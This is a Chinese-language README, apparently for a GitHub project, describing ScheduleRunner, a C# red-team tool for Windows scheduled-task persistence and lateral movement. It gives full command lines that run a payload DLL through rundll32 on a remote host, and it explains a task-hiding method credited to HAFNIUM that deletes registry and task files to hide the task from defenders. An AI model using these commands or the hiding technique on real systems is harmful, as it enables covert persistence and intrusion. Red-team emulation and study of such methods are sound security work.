ScheduleRunner - 一个具有更高灵活性的C#工具，用于定制红队操作中的计划任务，以支持持久化和横向移动

---

计划任务是过去十年中最流行的攻击技术之一，如今黑客/红队成员仍常将其用于持久化和横向移动。

已有多种C#工具被开发出来模拟使用计划任务的攻击。我尝试过其中一些，但每个工具在定制计划任务方面都有其局限性。因此，本项目旨在提供一个C#工具（兼容CobaltStrike的execute-assembly），包含我所需要的功能，并提供足够的灵活性来定制计划任务。

截图：

方法 (/method):

创建计划任务的选项 (/method:create):

[*] 为必填字段。

删除计划任务的选项 (/method:delete):

[*] 为必填字段。

执行计划任务的选项 (/method:run):

[*] 为必填字段。

查询计划任务的选项 (/method:query):

[*] 为必填字段。

计划任务横向移动的选项 (/method:move):

[*] 为必填字段。

示例

创建一个名为"Cleanup"的计划任务，每天下午11:30执行

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010

在远程服务器上创建一个名为"Cleanup"的计划任务，每4小时执行一次

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01

删除名为"Cleanup"的计划任务

ScheduleRunner.exe /method:delete /taskname:Cleanup

执行名为"Cleanup"的计划任务

ScheduleRunner.exe /method:run /taskname:Cleanup

查询远程服务器上"\Microsoft\Windows\CertificateServicesClient"文件夹下名为"Cleanup"的计划任务的详细信息

ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

查询远程服务器上特定文件夹"\Microsoft\Windows\CertificateServicesClient"下的所有计划任务

ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

查询计划任务中的所有子文件夹

ScheduleRunner.exe /method:queryfolders

使用计划任务向远程服务器执行横向移动，并指定特定用户账户

ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010

使用隐藏计划任务技术创建一个名为"Cleanup"的计划任务：

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

删除一个使用了隐藏计划任务技术的名为"Cleanup"的计划任务：

ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide

隐藏计划任务技术

该技术曾被威胁行为者HAFNIUM使用，最近由微软发现。其目的是使工具无法查询到计划任务，并且任务计划程序也看不到它。

要使用此技术，您需要拥有"NT AUTHORITY/SYSTEM"权限，ScheduleRunner将为您执行以下操作：

1. 删除"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[task name]"中的"SD"值
2. 删除计划任务XML文件"C:\Windows\System32\Tasks\[task name]"

要删除使用此技术创建的计划任务，需要在删除方法中添加"/technique:hide"参数以正确移除。

此技术的缺点：

即使通过注册表删除了任务，该任务仍会继续运行直到下次系统重启。因此，建议不要在对服务器进行操作时使用此技术。

演示

使用的库和参考资料：